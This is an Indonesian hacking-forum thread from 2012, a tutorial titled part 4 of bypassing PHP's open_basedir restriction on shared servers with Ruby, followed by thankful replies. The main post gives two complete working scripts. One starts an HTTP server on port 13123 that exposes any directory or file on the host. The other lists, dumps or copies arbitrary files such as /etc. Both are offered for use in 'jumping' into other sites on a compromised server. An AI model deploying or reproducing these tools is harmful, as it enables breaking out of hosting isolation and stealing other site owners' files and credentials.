Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-19-2013, 08:43 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Hacking › Web Hacking v
« Previous 1 ... 14 15 16 17 18 ... 54 Next »

Part-4: Trik jumping di server yg pake open_basedir (trik pake ruby)

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
Part-4: Trik jumping di server yg pake open_basedir (trik pake ruby)
02-11-2012, 08:06 PM
Post: #1
ketek Offline
bocah ingusan
*******
Administrators
Posts: 2,168
Joined: Jan 2010
Reputation: 369
Part-4: Trik jumping di server yg pake open_basedir (trik pake ruby)
Salam devilzc0ders

ni lanjutan yg di sini:
http://devilzc0de.org/forum/thread-12945.html

oke ni tambahan lagi, pake ruby... (ampe lupa kmaren mau share ne)
caranya sama persis, coba liat thread yg sbelumnya yah..

[Image: fk1eyo.jpg]

ni yg untuk webs.rb
Code:
#!/usr/bin/env ruby
# devilzc0de.org (c) 2012
require 'socket'
require 'uri'

port = 13123

t = Thread.new do
    server = TCPServer.new Integer(port)
    begin
        while(client = server.accept)
            headers = ["HTTP/1.1 200 OK",
                     "Server: Ruby"]
            req = URI.unescape(client.gets)
            print req

            path = "/"
            if req =~ /GET .* HTTP.*/
                path = req.gsub(/GET /, '').gsub(/ HTTP.*/, '')
                path = path.strip
                if File.directory?("#{path}")
                    if not path.end_with?("/")
                        path = path + "/"
                    end
                    
                    resp = "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">
                            <html>
                            <title>Directory listing for #{path}</title>
                            <body>
                            <h2>Directory listing for #{path}</h2>
                            <hr><ul>"

                    
                    Dir.foreach("#{path}").sort.each{ |x|
                        if File.directory?("#{path}#{x}")
                            if x != "." and x != ".."
                                resp += "<li><a href=\"#{path}#{x}/\">#{x}/</a></li>\r\n"
                            end
                        else
                            resp += "<li><a href=\"#{path}#{x}\">#{x}</a></li>\r\n"
                        end
                    }
                    resp += "</ul><hr>
                            </body>
                            </html>"
                            
                    conlen = resp.length
                    contype = "text/html"
                    print "Dir : #{path}\r\n"
                elsif File.file?("#{path}")
                    conlen = File.size("#{path}")
                    contype = "text/plain"
                    print "File : #{path} (#{conlen})\r\n"
                end

                print "contype : #{contype}\r\n"
                print "conlen : #{conlen}\r\n"
                
                headers.push("Content-Type: #{contype}")
                headers.push("Content-Length: #{conlen}\r\n\r\n")
                
                client.print headers.join("\r\n")
                if File.directory?("#{path}")
                    client.print resp
                elsif File.file?("#{path}")
                    src = File.open("#{path}", "rb")
                    while not src.eof?
                        buffer = src.read(256)
                        client.write(buffer)
                    end
                    src.close
                    src = nil
                end
                client.close
            end
        end
    end
end
STDIN.getc
http://pastebin.com/EBeqai6s


untuk yg xplor.rb
Code:
#!/usr/bin/env ruby
# devilzc0de.org (c) 2012

if not ARGV.length == 2 and not ARGV.length == 1
    STDOUT.write("usage : ruby " + File.basename(__FILE__) + " [path to dir/File] [path to save File]\r\n")
    STDOUT.write("ex    : ruby " + File.basename(__FILE__) + " /etc\r\n")
    STDOUT.write("ex    : ruby " + File.basename(__FILE__) + " /etc/issue\r\n")
    STDOUT.write("ex    : ruby " + File.basename(__FILE__) + " /etc/issue issue_new_copy\r\n")
    exit
end

target = ARGV[0].gsub("\\","/")

if File.directory?("#{target}")
    if not target.end_with?("/")
        target = target + "/"
    end
    
    fs = ""
    Dir.foreach("#{target}").sort.each{ |x|
        if (x != ".") and (x != "..")
            if File.directory?("#{target}#{x}")
                fs = "[ DIR ]"
            elsif File.file?("#{target}#{x}")
                fs = File.size("#{target}#{x}")
            end
            print "%12s %s\r\n" % [ "#{fs}", "#{x}" ]
        end
    }
elsif File.file?("#{target}")
    if ARGV.length == 2
        src = File.open("#{target}", "rb")
        trg = File.open("#{ARGV[1]}", "wb");
        trg.write(src.read(1024*1024)) while not src.eof?
        src.close
        src = nil
        trg.close
        trg = nil
    else
        src = File.open("#{target}", "rb")
        while not src.eof?
            print src.read(1024*1024)
        end
        src.close
        src = nil
    end
else
    print "Can't found file or folder : #{target}"
end
http://pastebin.com/VM8bvafE

moga berguna tersipu
Find all posts by this user
Quote this message in a reply
 Reputed by :  schumbag(+1) , od3yz(+1) , tabun666(+1) , wenkhairu(+1) , ditatompel(+1) , sidom(+1)
02-11-2012, 08:08 PM
Post: #2
badwolves1986 [RJ] Offline
Staf Registrasi DIC
RJ
Posts: 2,881
Joined: Oct 2010
Reputation: 91
RE: Part-4: Trik jumping di server yg pake open_basedir (trik pake ruby)
makasih bg ketek ane bookmark dulu ya tersipu
Find all posts by this user
Quote this message in a reply
02-11-2012, 08:17 PM
Post: #3
chaer.newbie Offline
--------------------------
*****
Dewa
Posts: 5,272
Joined: Dec 2009
Reputation: 184
RE: Part-4: Trik jumping di server yg pake open_basedir (trik pake ruby)
lo banyak banget sih tek bikin tutor ampe part2an.. ga punya prinsip nohope
Find all posts by this user
Quote this message in a reply
02-11-2012, 10:46 PM
Post: #4
whitecoinDC Offline
security dc :metal
**
Moderators
Posts: 732
Joined: Apr 2011
Reputation: 18
RE: Part-4: Trik jumping di server yg pake open_basedir (trik pake ruby)
keren om, ane izin belajar...
Visit this user's website Find all posts by this user
Quote this message in a reply
02-11-2012, 11:09 PM
Post: #5
bulak Offline
./Devilz Officer
Posts: 76
Joined: Jun 2011
Reputation: 6
RE: Part-4: Trik jumping di server yg pake open_basedir (trik pake ruby)
Berguna Banget... thx Om KeteK ketawa
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Tutor] Hunting Windows Server+Upload Shell Via phpmyadmin using Computer Search Engine tey 18 673 Today 02:28 PM
Last Post: GuestMac
Bug [Tutor] Jumping server kompas,10 up got rooted!! KotoM 70 1,527 Yesterday 01:05 AM
Last Post: KotoM
Rainbow Windows Server Mass Deface facl3ss 6 236 05-13-2013 02:49 PM
Last Post: ibnoeabdulaziz
  SQL Injection "detail_prod" server luxembourg [dc]zombierss[dc] 30 469 03-17-2013 11:41 AM
Last Post: Rifaldi238
  [Tutor] 4 trik Cara Upload Shell di Joomla ./E1nzte1N 21 480 02-23-2013 07:42 PM
Last Post: Rifaldi238
  ask root server web Backtracktux 17 274 02-15-2013 10:58 AM
Last Post: ciblex21
Big Grin [Ask] Server gak bisa di Symlink sama Config tebe4rt 14 324 12-02-2012 10:38 AM
Last Post: Regel
  [Tutor] bypass open_basedir dengan perl interpreter lokal Regel 10 426 10-24-2012 07:12 PM
Last Post: leftbehind
  Shutdown server hostingan oela 30 1,238 10-14-2012 05:00 PM
Last Post: momoattacker
  [Ask] Bypass IP di server [aduh] momodrock 9 218 08-30-2012 03:14 AM
Last Post: unyil

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-19-2013, 08:43 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE